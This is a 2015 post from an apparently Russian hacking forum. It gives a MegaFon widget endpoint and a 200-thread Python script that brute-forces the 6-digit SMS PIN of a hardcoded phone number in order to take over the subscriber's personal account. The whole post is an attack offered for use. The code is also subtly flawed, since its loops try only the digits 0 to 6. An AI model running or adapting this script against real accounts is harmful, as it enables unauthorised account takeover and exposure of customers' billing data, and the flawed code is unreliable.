
20.08.2015, 01:40
|
|
Новичок
Регистрация: 19.08.2015
Сообщений: 11
Провел на форуме: 4367
Репутация:
8
|
|
Брут пароля к lk.megafon через Yandex wiget
Код:
*.megafon.ru/WIDGET_INFO/GET_INFO?X_Username=&X_Password=&CHANNEL=WYANDEX&LANG_ID=0&P_RATE_PLAN_POS=1&P_PAYMENT_POS=2&P_ADD_SERV_POS=4&P_DISCOUNT_POS=3
X_Username=*mobile_phone*
X_Password=*PIN_via_sms* - всегда 6 цифр
*.megafon.ru - регион, 'uralsg' для примера
Ajax.callback["ERROR"] - false
в позитивном исходе - выводится табличка с деталями пополнения счета , теперь со значением из X_Password= можно авторизаватся в lk.megafon.ru
генирация или сброс установленного полноразмерного пароля https://*.megafon.ru/
python3
Код:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from threading import Thread
import requests
import sys
from queue import Queue
url = 'https://uralsg.megafon.ru/WIDGET_INFO/GET_INFO?X_Username=9222455455&X_Password=%s&CHANNEL=WYANDEX&LANG_ID=0&P_RATE_PLAN_POS=1&P_PAYMENT_POS=2&P_ADD_SERV_POS=4&P_DISCOUNT_POS=3'
concurrent = 200
def doWork():
while True:
password = q.get()
getStatus(password)
q.task_done()
def getStatus(password):
try:
r = requests.get(url % password)
if not('Wrong password' in r.text):
print('PIN found: %s' % password)
sys.exit(1)
except:
pass
q = Queue(concurrent * 2)
for i in range(concurrent):
t = Thread(target=doWork)
t.daemon = True
t.start()
try:
for a in range(7):
for b in range(7):
for c in range(7):
for d in range(7):
for e in range(7):
for f in range(7):
q.put('{}{}{}{}{}{}'.format(a, b, c, d, e, f))
q.join()
except KeyboardInterrupt:
sys.exit(1)
|
|
|